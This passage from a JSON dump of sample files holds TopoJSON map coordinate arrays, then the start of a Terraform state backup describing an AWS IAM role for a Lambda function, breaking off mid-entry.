11,10],[0,15]],[[7060,1768],[-4,-40],[-16,-5],[-13,-15],[-7,-15],[-13,-10],[-4,-15],[-13,-25],[-14,-51],[-9,0],[-8,0],[-18,-15],[-9,-15],[-2,-10],[-7,0],[-17,-10],[-9,-10],[-13,-10],[-16,-15],[5,-15],[13,-50],[20,-76],[0,-15],[-11,-40],[-5,-10],[-8,-10],[0,-35],[0,-15],[-9,-15],[-31,-6],[-11,6],[-11,0],[-11,-16],[-11,0],[-24,-30],[-16,0],[-4,-5],[-7,-10],[-2,-15],[4,-10],[-2,-10],[-18,-30],[-4,-35],[4,-15],[18,-31],[13,-25],[5,-75],[6,-35],[-11,-5],[-2,-15],[-7,-10],[-2,0],[-11,5],[-4,-5],[0,-25],[-5,-5],[-2,-5],[-9,-6],[-19,0],[2,-30],[-2,-10],[-7,5],[-2,-5],[-2,-5],[-3,10],[0,-15],[11,-20],[44,-25],[3,-50],[4,-10],[-11,-25],[7,-15],[11,-5],[4,-11],[-7,-50],[18,5],[7,-15],[15,0],[13,10],[7,-15],[7,-10],[2,-5],[-2,-5],[4,0],[7,0],[4,0],[7,0],[2,0],[-2,-20],[19,-20],[0,-10],[5,-5],[0,10],[7,5],[8,-10],[0,-10],[-4,-15],[4,-36],[22,16],[5,-5],[-5,-11],[5,-10],[-9,-5],[-7,-20],[-8,0],[-3,-5],[7,-10],[-7,-10],[3,-10],[-14,-15],[-13,-35],[-2,5],[-18,-5],[-4,-5],[0,-10],[-5,-10],[3,-10],[-5,-5],[-6,-20],[0,-20],[4,-16],[2,-10],[-9,-5],[7,-5],[-13,-10],[-2,-15],[-7,0],[-4,-15],[0,-5],[-7,-5],[0,-10],[4,-25],[-8,-15],[2,-5],[-5,-30],[-4,0],[9,-10],[-7,-10],[-6,0],[-16,5],[-7,-15],[-2,-5],[-31,10],[-13,15],[-9,-5],[-2,5],[5,10],[2,35],[4,0],[-2,15],[-7,-5],[-8,5],[2,5],[-9,15],[-11,-15],[-13,5],[-3,-5],[3,-5],[-7,-15],[-2,5],[-5,-5],[-6,15],[-13,5],[2,15],[-13,15],[0,5],[-7,0],[-9,5],[-4,-5],[-18,-10],[-11,-10],[-4,-10],[0,-5],[-7,-5],[0,-10],[-18,5],[-19,-15],[4,55],[40,96],[15,15],[13,15],[-4,10],[-2,5],[-11,-10],[-7,15],[2,5],[-6,65],[-11,35],[-7,0],[-2,20],[-2,0],[-3,5],[5,5],[4,16],[0,10],[-11,30],[-9,25],[-4,20],[-13,0],[-27,45],[-6,25],[0,25],[9,26],[0,65],[-7,20],[-27,-10],[-13,10],[-15,10],[-9,20],[-11,5],[-13,20],[-11,15],[-5,15],[-6,10],[0,10],[-2,6],[-3,5],[-2,0],[-2,5],[-11,10],[-7,15],[-17,0],[-9,0],[-5,0],[-8,15],[-5,-5],[-2,0],[-9,5],[-15,0],[-7,5],[-7,0],[-2,0],[0,-5],[-2,-5],[-4,-5],[-9,0],[15,95],[9,20],[20,51],[31,15],[17,45],[5,40],[6,-5],[5,15],[-16,15],[16,20],[20,-15],[24,71],[-7,70],[-11,0],[-11,20],[-20,15],[-15,35],[-2,-5],[-5,10],[-2,5],[0,5],[-2,5],[-7,0],[0,5],[-6,10],[-5,5],[-15,15],[-9,-20],[-4,-10],[-38,-5],[-13,15],[-7,10],[-13,10],[-2,0],[-7,0],[-6,0],[-5,5],[-6,16],[-31,85],[-40,-60],[-20,-66],[-37,20],[-9,5],[-7,0],[-4,0],[-2,0],[-5,0],[-2,11],[-2,5],[-2,0],[-2,5],[0,10],[-5,0],[2,5],[0,5],[-4,5],[-4,-5],[-5,0],[-4,0],[-5,-5],[-4,0],[-24,20],[-5,15],[-17,35],[-60,-5],[-20,0],[0,5],[-4,20],[0,30],[-11,10],[-5,15],[-15,26],[-7,0],[3,5],[-3,5],[3,10],[6,5],[7,5],[0,5],[0,15],[2,0],[7,5],[-3,10],[-6,0],[-11,0],[-7,5],[-4,0],[-2,0],[-3,0],[3,10],[-5,5],[2,5],[-4,10],[-4,0],[-5,0],[-6,-5],[-3,0],[-2,5],[-4,5],[-5,5],[-6,60],[-14,36],[-11,10],[-11,0],[3,5],[-5,25],[-26,30],[-11,30],[-7,70],[-24,20],[-11,-10],[-7,0],[-9,10],[-17,21],[-20,15],[-13,5],[-20,0],[-22,15],[-5,15],[-2,25],[-2,20],[-7,0],[-13,10],[-17,5],[-7,5],[-2,15],[-2,10],[4,5],[4,15],[5,0],[0,15],[17,15],[-13,51],[-35,70],[0,20],[-13,30],[4,15],[5,5],[19,10],[-4,16],[7,15],[-3,30],[7,15],[22,10],[4,30],[9,10],[11,25],[-2,15],[0,40],[-4,46],[4,10],[2,10],[11,20],[-6,30],[-3,60],[-11,36],[22,45],[-15,35],[-2,15],[11,30],[-11,30],[-11,10],[-2,15],[0,10],[6,31],[-4,5],[0,15],[2,10],[11,10],[4,20],[-2,10],[-9,5],[3,25],[-11,10],[-9,10],[-2,20],[-5,15],[-9,10],[-15,-5],[-2,5],[-16,-5],[-22,-10],[-9,-10],[-6,0],[-16,-5],[-11,-15],[-13,0],[-6,-15],[-9,5],[-9,-5]],[[6637,728],[4,-5],[16,0],[6,45],[-4,5],[-2,20],[4,36],[-2,0],[-22,5],[-20,-96],[20,-10]],[[628,2642],[-62,46],[-13,10],[-11,0],[-5,5],[-4,20],[-7,5],[-11,-5],[-4,0],[-2,5],[-7,10],[-9,10],[-13,-15],[4,-10],[-11,-10],[5,-15],[4,-5],[13,-5],[12,-20],[6,5],[2,-5],[5,-5],[2,5],[4,0],[-4,-26],[24,-25],[0,5],[7,-10],[55,-35]],[[608,2577],[-27,-95]],[[581,2482],[-46,-141],[-62,50],[-24,20],[-15,5],[-5,10],[-22,20],[-13,21],[-2,10],[-13,15],[2,5],[-7,5],[2,5],[-2,0]],[[374,2507],[-2,10],[4,10],[9,10],[0,10],[7,15],[2,0],[2,20],[5,5],[2,0],[0,10],[-5,5],[3,5],[2,5],[-2,0],[2,5],[2,0],[2,5],[7,5],[4,0],[0,5],[7,5],[7,16],[0,5],[4,5],[7,10],[2,5],[0,15],[2,20],[2,0],[2,10],[20,30],[0,5],[-11,25],[-6,10],[-5,25],[-2,5],[-4,-10],[-3,0],[-4,-5],[-9,0],[-31,56],[-48,60],[-2,-5],[4,-10],[-2,0],[-11,10],[-7,5],[-13,25],[-4,20],[-69,30],[-6,5],[13,45],[9,16],[2,20],[20,40],[2,5],[2,10],[-4,20],[-20,30],[4,20],[-9,15],[3,15],[-3,15],[9,11],[44,70],[36,141],[17,35],[38,70],[11,-15],[2,0],[20,45],[-9,10],[15,30],[-39,66],[-60,95],[24,35],[9,25],[29,41],[7,5],[15,20],[11,10],[15,30],[11,0],[20,20],[9,10],[2,20],[20,25],[5,0],[11,15],[0,10],[11,21],[-3,0],[9,10],[5,-5],[4,5],[11,25],[9,5],[0,5],[4,10],[2,0],[18,15],[13,35],[51,75],[24,31],[0,10],[5,5],[2,0],[-5,5],[0,15],[3,0],[17,20],[11,15],[29,20],[4,0],[20,25],[38,35],[9,0],[30,20],[16,21],[6,5],[5,15],[6,10],[7,15],[11,-5],[4,5],[12,5],[-3,25],[-6,0],[4,5],[11,5],[9,0],[11,0],[2,5],[9,15],[7,15],[-3,15],[-6,10],[15,25],[13,15],[7,-5],[4,0],[25,16],[15,5],[13,15],[3,0],[17,30],[-2,5],[2,10],[0,5],[22,30],[7,5],[0,25],[13,45],[-35,51],[-16,15],[0,5],[-8,50],[22,20],[-3,40],[7,40],[37,101]],[[1110,5195],[12,-5],[2,-15],[35,-5],[64,35],[9,5],[17,10],[11,10],[22,40],[18,10],[13,20],[16,6],[9,10],[15,15],[11,5],[26,20],[14,0],[11,0],[17,15],[7,0],[13,10],[13,0],[14,0],[6,15],[36,70],[2,25],[33,36],[13,10],[37,30],[80,50],[-2,-10],[2,-10],[4,-5],[-13,-75],[0,-51],[9,-5],[42,-50],[0,-15],[-5,-35],[0,-5],[3,0],[2,5],[0,-5],[-2,-25],[-14,-56],[16,20],[31,-5],[6,-10],[51,-80]],[[2005,5481],[67,81]],[[2788,2567],[-44,-80],[-27,-46],[0,-45],[18,-30],[-6,-5],[2,-10],[-11,-5],[-9,-10],[6,-50],[0,-10],[-11,-10],[-6,-5],[-2,5],[-5,-5],[-13,-26],[0,-10],[-7,-5],[-15,-30],[-15,-5],[-7,-20],[-2,-25],[-2,-5],[-12,-10],[-4,-5],[-7,-10],[-11,-5],[-11,0],[-8,0],[-3,0],[-2,-20],[-4,-20],[-2,-20],[4,-6],[-7,-5],[-8,-20],[-3,-10],[-15,-25],[-9,-10],[-18,-15],[-17,-25],[-18,-10],[-4,-5],[-5,5],[-11,5],[-15,-10],[-11,-15],[-13,-10],[-3,-5],[-6,-5],[-9,-5],[-9,-5],[-2,-5],[-13,-5],[-2,-5],[-3,5],[0,5],[0,5],[-2,0],[-2,5],[-2,10],[-7,10],[-2,10],[-4,15],[-5,0],[-2,10],[-2,0],[-5,5],[-2,5],[-2,0],[-4,5],[0,10],[0,5],[-5,10],[0,10],[0,10],[0,10],[-2,10],[0,5],[0,10],[-2,0],[-3,5],[-4,0],[-2,0],[-2,5],[-3,5],[0,11],[0,5],[0,5],[0,5],[-2,5],[0,5],[-2,5],[-9,15],[-2,0],[0,5],[-2,10],[-2,5],[-3,10],[-2,5],[0,5],[-4,5],[-2,0],[0,5],[0,5],[-3,20],[0,5],[-2,5],[-9,15],[-8,10],[-14,25],[-4,5],[-2,5],[-7,16],[-4,5],[-3,5],[0,10],[-2,30],[0,5],[-2,10],[-2,10],[-2,10],[-3,0],[-6,15],[-5,10],[-11,10],[-2,5],[-6,5],[-5,5],[-6,5],[-5,10],[-4,10],[0,5],[0,5],[0,10],[0,5],[-2,11],[-3,5],[0,10],[0,10],[-2,5],[0,5],[-2,10],[0,5],[0,15],[0,10],[0,5],[0,10],[0,5],[0,5],[-2,10],[-2,10],[-5,10],[-6,10],[-5,10],[-4,5],[-2,5],[-3,5],[-2,0],[-2,0],[0,5],[-5,0],[-4,-5],[-2,0],[-2,0],[-5,0],[-6,0],[-5,0],[-6,0],[-3,0],[-2,0],[-2,0],[-2,5],[-2,0],[-3,5],[-2,5],[-6,26],[-5,10],[-2,5],[-4,5],[-3,0],[-2,5],[-2,5],[-2,5],[0,5],[0,5],[0,5],[9,30],[0,5],[2,5],[0,15],[-2,10],[0,5],[0,10],[-3,10],[-2,5],[-2,10],[-2,0],[-2,5],[-5,5],[-4,5],[-2,0],[-3,0],[-2,5],[-4,5],[-5,10],[-2,5],[-4,11],[-9,15],[-2,0],[-3,10],[-4,5],[-84,165]],[[1906,3059],[-306,136],[-359,10],[-205,-201],[-201,-60],[-181,-221],[-26,-81]],[[1847,4612],[-2,-10],[-5,-5],[0,-10],[-6,-10],[0,-5],[11,-10],[6,0],[9,5],[4,-5],[5,5],[4,0],[7,0],[4,5],[13,25],[25,10],[4,0],[7,0],[11,-10],[17,-25],[14,-10],[11,0],[4,0],[7,-5],[2,5],[4,-5],[7,15],[-5,5],[3,10],[-3,5],[0,5],[23,55],[4,10],[9,20],[-5,10],[-8,11],[2,10],[-11,10],[-9,10],[-7,15],[-2,0],[-4,-5],[-3,0],[-2,0],[0,-5],[-2,0],[-2,10],[4,5],[0,10],[-6,10],[-3,10],[-4,10],[-7,0],[3,10],[-7,5],[-7,-20],[7,0],[-11,-30],[-7,-10],[-8,-10],[-18,-25],[-2,-10],[4,0],[-2,-5],[-16,-31],[-2,-15],[-13,-15],[4,-10],[-2,-5],[-4,-5],[-5,0],[-2,0],[-2,0],[-4,-5],[-3,0],[-2,-5],[-4,10],[-13,-15],[-3,10],[-4,-5],[-2,5]],[[471,2653],[-6,-16],[11,-10],[2,0],[0,5],[-2,5],[0,5],[2,5],[2,6],[2,5],[16,-16],[4,11],[-18,25],[-4,-10],[-2,0],[-7,-15]],[[2144,5702],[161,171],[84,-35]],[[5354,3185],[-9,-5],[-4,0],[-9,10],[-9,0],[-9,-5],[-22,-20],[-6,-10],[-7,-25],[-18,-20],[-4,-15],[-7,-10],[-11,-10],[-11,-16],[-4,-10],[-9,0],[-7,0],[-8,-10],[-9,0],[-7,15],[-9,-15],[-4,-10],[-4,-20],[-5,-15],[-11,-20],[-9,-5],[5,-10],[4,0],[5,-10],[8,0],[11,-10],[5,-5],[9,10],[2,-10],[11,-15],[2,-10],[0,-10],[-7,-15],[0,-15],[11,-16],[-8,-10],[-3,-20],[-2,-15],[-13,-10],[-11,5],[-13,-25],[-18,-20],[-11,-15],[-20,15],[-22,-15],[-6,-15],[8,-20],[-2,-5],[5,-20],[-14,-15],[7,-15],[-7,-6],[-15,6],[-9,-6],[0,-20],[-18,-5],[-4,0],[-7,5],[-8,-15],[-18,-20],[2,-5],[-6,-15],[2,-5],[0,-10],[4,-5],[-6,-15],[-16,-15],[0,-20],[-9,-15],[3,-15],[-16,-20],[-13,-21],[-11,5],[-16,-10],[-17,-15],[-9,0],[-31,-10],[-9,5],[-20,20],[-15,5],[-7,0],[-24,-35],[-4,-5],[-11,-10],[-5,-25],[-6,-15],[-5,-15],[-15,-5],[-20,-45],[-24,-20],[0,-26],[-5,-5],[-6,0],[2,-15],[13,-20],[27,-5],[4,-15],[18,0],[6,-55],[7,-15],[9,0],[9,-30],[19,-20],[14,0],[8,-71],[18,-45],[2,-30],[-2,-5],[4,-25],[9,-5],[18,-41],[0,-25],[-15,-15],[-3,-25],[-13,-20],[-2,-20],[0,-20],[6,-15],[0,-30],[5,0],[-11,-36],[-13,-20],[-11,-10],[-7,10],[-22,-10],[-26,-25],[2,-15],[-2,-15],[2,-10],[-2,-25],[-9,-10],[-3,-10],[-4,-10],[-18,0],[-4,-10],[-4,0],[-14,-10],[-8,0],[-11,-5],[-7,0],[-15,5],[-20,-15],[-7,-5],[-20,0],[-11,-11],[-22,0],[-2,-10],[2,-20],[-9,-25],[0,-15],[-2,-30],[-15,-30],[2,-15],[-2,-10],[4,-15],[0,-20],[9,-36],[9,-45],[4,-5],[2,-10],[-6,-10],[-16,-5],[-6,-10],[-22,-40],[4,-5],[9,-25],[-16,-31],[5,-15],[-2,-20],[-11,-5],[-14,5],[-2,-20],[-13,-30],[0,-10],[-11,-20],[-26,15],[-7,0],[-13,-5],[-11,0],[-7,-5],[-4,-5],[-20,10],[-18,-5],[-17,-5],[-7,5],[-7,0],[-17,-5],[-22,5],[-7,-10],[0,-10],[-4,-20],[-7,-5],[-13,-30],[-2,-16],[-36,-30],[0,-5],[5,-10],[2,-30],[-7,-10],[0,-10],[-6,-10],[6,-20],[-2,-25],[-13,-5],[-7,-56],[7,-15],[13,-35],[-9,-30],[-4,-5],[-11,0],[-5,-15],[-13,20],[-17,-5],[-20,10],[-9,0],[-11,15],[-22,10],[-7,0],[-11,-15],[-9,-5],[-13,-20],[-9,-10],[-13,15],[-4,20],[-11,15],[-22,15],[-18,35],[-40,16],[-6,5],[-11,-46],[-16,-20],[-2,-20],[-33,0],[-15,25],[-3,20],[-8,10],[4,66],[-7,15],[-11,10],[-11,10],[-17,0],[-16,10],[-9,20],[-2,20],[-6,10],[-14,35],[-8,10],[-11,5],[-7,0],[-4,-10],[-9,0],[-14,-15],[-15,-10],[-37,10],[-14,0],[-8,-15],[-36,10],[-15,0],[-13,20],[0,25],[-5,26],[-9,10],[-17,0],[-11,-5],[-27,0],[-4,-5],[-5,-5],[-4,-21],[-4,-20],[2,-25],[6,-45],[-6,-25],[-11,-10],[-7,10],[-15,0],[-11,5],[-11,25],[-5,-5],[-9,-15],[-8,0],[-9,5],[-11,15],[-7,-10],[0,-15],[-9,-10],[-8,0],[-22,-15],[-7,-10],[-7,-15],[5,-40],[2,-16],[-7,-15],[-6,0],[-9,5],[-13,5],[-7,-15],[-22,-5],[-9,-15],[-2,-5],[-15,-40],[-16,-25],[-11,0],[-2,-15],[-13,-5],[-9,-10],[-11,0],[-9,10],[-9,-15],[0,-15],[-15,-31],[-18,-10],[-15,21],[-5,5],[-17,10],[-11,-5],[-11,20],[0,20],[-11,5],[-16,15],[-26,-20],[-18,-5],[-13,10],[-5,25],[-22,5],[-8,-5],[-9,15],[-7,10],[-9,-10],[-4,-10],[-9,-15],[0,-10],[-9,-25],[-9,-35],[-13,-5],[-31,-61],[-8,0],[-3,20],[-6,5],[-20,-15],[-16,5],[-8,5],[-7,-10],[-7,0],[-11,-5],[-4,-10],[0,-15],[-11,-10],[-2,-5],[-9,-5],[-4,-15],[-9,-5],[-5,-30],[0,-15],[7,-20],[-9,-15],[-13,-5],[-16,5],[-11,15],[-8,0],[-29,40],[0,10],[7,5],[-3,10],[-6,10],[-7,5],[-9,0],[-15,-10],[-13,-10],[-3,-5],[-6,0],[-7,-10],[-2,-20],[-7,-5],[-6,-10],[-9,-5],[-11,-20],[-9,0],[-2,-5],[-11,0],[-11,5],[-5,0],[-6,10],[-5,30],[-2,10],[-6,10],[4,10],[0,10],[-20,35],[-11,10],[-9,25],[3,25],[-9,0],[-7,15],[-13,11],[0,10],[0,35],[-7,20],[-17,10],[-5,15],[-4,5],[-2,5],[-3,5],[-2,0],[-2,5],[-7,45],[-6,10],[-7,25],[2,16],[0,15],[5,5],[0,10],[-5,30],[3,5],[-3,5],[-4,5],[-26,10],[-11,10],[-3,5],[-17,40],[2,20],[2,0],[9,10],[13,5],[5,10],[0,5],[0,5],[-3,6],[-4,5],[0,10],[-9,15],[-9,0],[0,10],[0,15],[-4,15],[2,10],[-11,20],[-2,0],[-9,-10],[-2,0],[-9,5],[-11,15],[-2,0],[-9,5],[-2,5],[0,5],[0,10],[-9,50],[0,10],[-22,31],[-9,25],[-9,0],[-17,55],[-11,50],[-16,-5],[-9,10],[-4,10],[-2,0],[-2,5],[0,10],[4,10],[-2,11],[4,5],[0,5],[-2,5],[-9,10],[-2,-10],[-9,-5],[-9,5],[-13,-31],[-7,-10],[-2,-10],[-4,-5],[-2,0],[0,-10],[-5,-5],[-4,-5],[-27,-10],[-6,-15],[-2,-15],[-9,15],[-9,-5],[-15,20],[0,5],[-7,15],[0,20],[18,66],[6,10],[9,10],[7,5],[-7,25],[7,15],[2,15],[-7,10],[-2,10],[-11,25],[0,5],[7,10],[2,5],[2,10],[7,16],[6,20],[2,5],[-4,25],[7,25],[2,15],[6,10],[-2,5],[-2,0],[-7,0],[-11,5],[-17,-10],[-5,0],[-8,15],[-16,-5],[-20,5],[-20,5],[-17,10],[-2,15],[-7,5],[-44,-10],[-9,-10],[-4,15],[-5,0],[-2,5],[-4,15],[-3,5],[-13,-10],[-6,10],[-7,56],[-11,30],[7,30],[-3,15],[31,50],[2,25],[11,15],[0,5],[-11,71],[-6,35],[9,40],[4,5],[0,10],[7,5],[8,25],[7,5],[4,10],[-2,36],[0,10],[14,10],[8,0],[14,35],[2,20],[4,15],[9,5],[7,5],[11,10],[6,15],[0,20],[11,36],[-2,40],[13,30],[0,5],[-2,10],[0,5],[-9,15],[-2,5],[0,10],[0,5],[-2,0],[-9,5],[-4,0],[-3,-10],[-8,0],[-5,5],[-2,15],[-9,5],[-9,10],[-4,15],[-7,0],[-4,5],[-2,10],[4,16],[-11,30],[-9,5],[-4,10],[-7,5],[-9,10],[-8,10],[-3,5],[-8,-5],[-3,0],[-2,0],[-2,5],[-4,25],[-3,5],[5,10],[-5,10],[-2,10],[-17,-5],[-7,5],[-2,0],[0,15],[-7,25],[-4,15],[-9,16],[-7,15],[-4,25],[4,30],[9,15],[11,10],[24,5],[20,40],[7,10],[4,15],[0,15],[-4,5],[-5,16],[3,25],[4,10],[35,165]],[[1110,5195],[3,50],[4,71],[2,70],[-13,55],[-24,50],[-13,36],[-11,20],[-7,30],[26,25],[31,50],[7,20],[18,35],[4,11],[2,5],[18,35],[11,15],[11,20],[13,15],[18,-40],[2,0],[29,25],[41,15],[34,20],[22,5],[11,10],[11,5],[24,30],[17,15],[9,10],[29,-10],[18,5],[2,0],[35,31],[13,25],[9,20],[20,70],[11,25],[44,45],[20,11],[22,0],[4,10],[7,5],[9,20],[6,5],[7,15],[13,15],[2,0],[3,5],[-16,5],[-4,5],[-5,20],[-2,0],[-6,5],[-9,0],[-5,15],[-4,5],[-4,0],[-7,15],[4,15],[14,5],[6,15],[7,5],[0,5],[-2,5],[6,16],[-11,10],[2,5],[7,5],[15,15],[0,5],[5,5],[13,5],[9,15],[11,-10],[18,0],[8,10],[7,20],[0,15],[-11,25],[-2,25],[4,5],[5,0],[8,0],[9,25],[29,26],[11,5],[11,0],[9,10],[24,15],[4,5],[14,10],[4,0],[11,5],[4,5],[5,20],[13,0],[4,15],[7,10],[11,10],[2,10],[7,10],[4,0],[20,20],[0,15],[2,5],[3,0],[15,10],[2,0],[5,16],[15,30]],[[1990,6768],[4,5]],[[581,2482],[47,-36],[4,-5],[2,0],[11,-10],[-4,-10],[4,-10],[-2,-10],[5,0],[-5,-10],[7,-5],[0,-5],[2,0],[2,-10],[-4,-10],[-5,-5],[-6,-10],[-5,0],[-4,0],[-4,-15],[-5,0],[2,-10],[-2,-15],[0,-5],[11,-15],[13,-51],[3,-5],[24,-35],[-2,-15],[8,-5],[7,-15],[27,15],[0,10],[13,10],[-2,5],[4,5],[13,30],[7,11],[4,-6],[-6,-30],[2,-10],[2,0],[11,-5],[4,0],[9,5],[7,0],[-2,-5],[-7,-20],[7,-5],[0,-15],[2,-15],[-35,-95],[-5,-11],[-35,-40],[-16,-10],[-6,0],[-27,-20],[-11,-20],[-6,10],[-2,0],[0,-10],[-5,0],[-6,0],[-7,5],[-7,0],[-9,-10],[-4,-5],[-2,-5],[-5,0],[-2,-5],[-4,0],[0,-10],[-9,-5],[-9,-20],[-2,0],[-2,-5],[-11,-5],[-11,-25],[-7,-10],[-2,-5],[-4,0],[-11,-16],[-5,0],[-6,-15],[6,-60],[-31,-40],[-15,-5],[-35,-25],[-9,-15],[-2,-15],[-5,-5],[-6,10],[-3,-10],[-9,-10],[-2,-11],[-20,-5],[-13,16],[-26,0],[-11,5],[-11,0],[-16,40],[-35,-15],[-2,0],[-7,5],[-44,5],[-6,-20],[-5,-20],[5,-11],[-3,0],[-4,-5],[-7,5],[-15,-20],[0,-10],[-2,10],[-3,-5],[0,10],[-2,5],[-2,-5],[0,5],[-7,0],[-2,5],[-6,0],[-3,5],[-2,5],[-17,6],[-5,-6],[-2,0],[-7,6],[-11,-6],[-22,11],[-2,0],[-2,0],[-11,-5],[-5,0],[-4,-6],[-2,-25],[-5,-5],[-8,-15],[-7,-5],[-7,0],[-11,-10],[-8,0],[-9,-10],[-2,20],[22,25],[2,10],[-5,15],[0,16],[9,35],[9,20],[7,20],[11,35],[2,30],[4,5],[2,0],[5,-15],[2,0],[4,20],[5,10],[0,10],[6,20],[-8,21],[-14,10],[-6,10],[-40,30],[0,5],[5,5],[4,5],[11,15],[-9,20],[11,40],[9,10],[15,0],[18,-10],[2,15],[-6,20],[11,0],[8,-5],[0,-5],[5,5],[11,10],[0,21],[7,5],[0,5],[8,0],[-2,10],[5,0],[4,5],[4,0],[14,5],[19,25],[18,-25],[9,-10],[11,20],[4,20],[16,30],[2,0],[4,5],[11,-20],[5,-5],[4,5],[2,-5],[3,10],[13,15],[6,-5],[3,10],[4,-5],[4,5],[0,-5],[31,-40],[9,15],[2,0],[5,-5],[2,0],[31,55],[0,10],[-7,5],[5,10],[-3,15],[-4,10],[-4,15],[4,6],[-7,5],[-2,0],[-13,20],[7,10],[-20,30],[2,30],[-7,5],[20,30],[5,15],[2,5],[6,-5],[5,0],[2,5],[-2,0],[0,5],[4,5],[-2,5],[4,10],[-6,10],[4,26],[-4,5],[2,20],[9,20],[0,5],[4,0]],[[502,2653],[-4,-11],[-16,16],[-2,-5],[-2,-6],[-2,-5],[0,-5],[2,-5],[0,-5],[-2,0],[-11,10],[6,16],[7,15],[2,0],[4,10],[18,-25]],[[628,2642],[-20,-65],[-55,35],[-7,10],[0,-5],[-24,25],[4,26],[-4,0],[-2,-5],[-5,5],[-2,5],[-6,-5],[-12,20],[-13,5],[-4,5],[-5,15],[11,10],[-4,10],[13,15],[9,-10],[7,-10],[2,-5],[4,0],[11,5],[7,-5],[4,-20],[5,-5],[11,0],[13,-10],[62,-46]],[[1990,6768],[0,5],[-11,5],[-11,-5],[-9,0],[-6,10],[-3,15],[9,10],[18,15],[2,5],[2,0],[5,0],[17,15],[5,20],[2,5],[15,0],[-2,25],[2,5],[0,10],[5,5],[4,10],[5,21],[13,20],[4,0],[2,5],[9,10],[29,35],[9,20],[2,0],[6,5],[20,15],[5,10],[2,5],[2,15],[11,10],[16,5],[6,15],[0,5],[2,15],[9,5],[9,16],[7,5],[2,5],[-7,15],[-11,15],[-2,15],[0,5],[7,10],[4,20],[0,10],[-4,20],[4,15],[-13,50],[-2,11],[-9,25],[9,15],[4,10],[13,5],[20,-5],[13,5],[11,-5],[5,0],[2,10],[2,15],[16,-5],[11,10],[17,-5],[16,25],[6,0],[2,0],[5,10],[2,25],[7,10],[4,20],[-4,30],[-9,6],[0,15],[35,10],[18,10],[20,-10],[6,5],[25,35],[-3,5],[-6,0],[0,10],[4,5],[9,10],[7,20],[-14,10],[-13,5],[2,15],[5,10],[-7,45],[-2,6],[-13,10],[-20,0],[0,20],[-2,10],[-11,-5],[-14,5],[-4,0],[-4,5],[0,10],[-7,0],[-4,-10],[-3,10],[-2,0],[-11,-25],[-22,-25],[-13,0],[-16,0],[-19,-16],[-3,0],[-4,5],[-7,-10],[-6,0],[-3,5],[-6,-5],[-18,0],[-4,5],[-20,-10],[-15,0],[-5,0],[-17,-10],[-9,-5],[-5,5],[-6,5],[-22,10],[-9,0],[-2,0],[-5,-5],[-6,5],[-5,-15],[-20,-15],[-11,-5],[-2,25],[9,26],[4,25],[-2,30],[27,35],[-3,10],[20,0],[2,5],[16,15],[4,15],[-4,5],[-5,30],[11,5],[7,31],[-9,10],[7,0],[4,5],[5,-5],[9,5],[28,0],[2,0],[5,30],[2,20],[-2,70],[-5,20],[36,5],[6,-5],[13,10],[5,10],[9,46],[6,0],[18,10],[9,-5],[9,0],[2,0],[9,5],[2,0],[15,25],[-2,10],[-7,5],[0,15],[7,10],[-2,10],[0,15],[-18,-5],[-2,10],[4,15],[-8,10],[-5,15],[5,25],[-3,31],[-4,25],[-7,5],[0,5],[7,0],[7,5],[24,20],[2,5],[35,20],[16,0],[6,-15],[20,-10],[2,-10],[18,5],[13,-15],[20,0],[24,-15],[3,-10],[6,-10],[11,5],[27,30],[11,0],[6,-5],[27,5],[9,10],[26,35],[4,-5],[18,-5],[27,-25],[6,-5],[9,-20],[4,-5],[3,-5],[4,0],[15,-5],[5,0],[33,10],[22,15],[11,0],[2,-10],[-24,-20],[0,-10],[-9,-16],[-4,-25],[-16,-50],[2,-20],[0,-5],[0,-10],[-2,-5],[0,-10],[-11,-60],[-6,-15],[22,-6],[26,-15],[9,-20],[22,0],[44,25],[13,-5],[9,-10],[7,-15],[-3,-20],[3,-5],[0,-5],[9,0],[4,-5],[0,-5],[2,-15],[0,-15],[18,20],[35,15],[29,40],[6,0],[14,-10],[8,10],[9,5],[7,15],[20,-5],[28,5],[2,5]]]}"
  },
  {
    "path": "samples/JSON/terraform.tfstate.backup",
    "content": "{\n\t\t\"version\": 3,\n\t\t\"terraform_version\": \"0.11.2\",\n\t\t\"serial\": 5,\n\t\t\"lineage\": \"5ffde9fb-4814-4609-a8a6-f1054f1779c1\",\n\t\t\"modules\": [\n\t\t\t\t{\n\t\t\t\t\t\t\"path\": [\n\t\t\t\t\t\t\t\t\"root\"\n\t\t\t\t\t\t],\n\t\t\t\t\t\t\"outputs\": {},\n\t\t\t\t\t\t\"resources\": {\n\t\t\t\t\t\t\t\t\"aws_iam_role.iam_for_lambda\": {\n\t\t\t\t\t\t\t\t\t\t\"type\": \"aws_iam_role\",\n\t\t\t\t\t\t\t\t\t\t\"depends_on\": [],\n\t\t\t\t\t\t\t\t\t\t\"primary\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"iam_for_lambda\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"attributes\": {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"arn\": \"arn:aws:iam::387412527620:role/iam_for_lambda\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"assume_role_policy\": \"{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Sid\\\":\\\"\\\",\\\"Effect\\\":\\\"Allow\\\",\\\"Principal\\\":{\\\"Service\\\":\\\"lambda.amazonaws.com\\\"},\\\"Action\\\":\\\"sts:AssumeRole\\\"}]}\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"create_date\": \"2018-01-27T04:05:27Z\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"force_detach_policies\": \"false\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"id\": \"iam_for_lambda\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"name\": \"iam_for_lambda\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"path\": \"/\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"unique_id\": \"AROAINXWJF2AIJOZMQXOE\"\n\t\t\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\t\t\t\"meta\": {},\n\t\t\t\t\t\t\t\t\t\t\t\t\"tainted\": false\n\t\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\t\t\"deposed\": [],\n\t\t\t\t\t\t\t\t\t\t\"provider\": \"provider.aws\"\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\"aws_lambda_function.query-fitbit\": {\n\t\t\t\t\t\t\t\t\t\t\"type\": 